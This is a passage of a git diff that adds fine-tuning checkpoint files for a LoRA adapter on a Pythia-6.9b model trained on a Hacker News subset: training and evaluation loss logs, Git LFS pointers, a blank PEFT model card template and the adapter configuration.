"eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.4803755283355713, + "learning_rate": 1.837037037037037e-05, + "loss": 1.6911, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.8681321144104004, + "eval_runtime": 43.8953, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.2173774242401123, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6429, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.8997802734375, + "eval_runtime": 43.9304, + "eval_samples_per_second": 22.763, + "eval_steps_per_second": 2.845, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9753201007843018, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.5879, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 2.9484663009643555, + "eval_runtime": 44.0868, + "eval_samples_per_second": 22.683, + "eval_steps_per_second": 2.835, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.7597460746765137, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.5518, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 2.9290659427642822, + "eval_runtime": 44.0216, + "eval_samples_per_second": 22.716, + "eval_steps_per_second": 2.84, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.463420391082764, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6113, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 2.9443466663360596, + "eval_runtime": 43.9335, + "eval_samples_per_second": 22.762, + "eval_steps_per_second": 2.845, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 3.9244191646575928, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6018, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 2.939068555831909, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8258907794952393, + "learning_rate": 1.125925925925926e-05, + "loss": 1.5986, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 2.9393391609191895, + "eval_runtime": 43.8955, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 3.681978225708008, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.6481, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 2.9356720447540283, + "eval_runtime": 44.0134, + "eval_samples_per_second": 22.72, + "eval_steps_per_second": 2.84, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8014676570892334, + "learning_rate": 8.888888888888888e-06, + "loss": 1.605, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9312660694122314, + "eval_runtime": 43.9235, + "eval_samples_per_second": 22.767, + "eval_steps_per_second": 2.846, + "step": 600 + }, + { + "epoch": 8.133333333333333, + "grad_norm": 3.619027614593506, + "learning_rate": 7.703703703703704e-06, + "loss": 1.5216, + "step": 610 + }, + { + "epoch": 8.133333333333333, + "eval_loss": 2.970654249191284, + "eval_runtime": 44.0834, + "eval_samples_per_second": 22.684, + "eval_steps_per_second": 2.836, + "step": 610 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 9.99550391156736e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..71e1ee8b5d28f0be072f8a6127ccd433ce65379c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e1aa182e870d6d4456e445c432c37ff8533875ecd8891fe93afef167f3e53dfa +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..c719a94654884c568d43265f0428e59010a08b50 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2c6ccc9496158396d17bd4c589f617f57af6440d8e8639814c622f698ba56e38 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..da7e5f0f7045f8fad1c1529974e555cc67b8f5f0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f2b2ce429e00eba0165cdfd527b7ca384fed68ae5660561d0cbc6dbdd51ce7f1 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..8f09b0521c27c995f0878cde37cf7b4138abd8e6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0cecac504a0d6e20c848bc43265028cb51bdbaee46716ad0736302cdd3a2376c +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..0afa1cd46c75ef260a7b80bac5dee7e7f5e2a4ec --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/trainer_state.json @@ -0,0 +1,963 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 8.266666666666667, + "eval_steps": 10, + "global_step": 620, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + 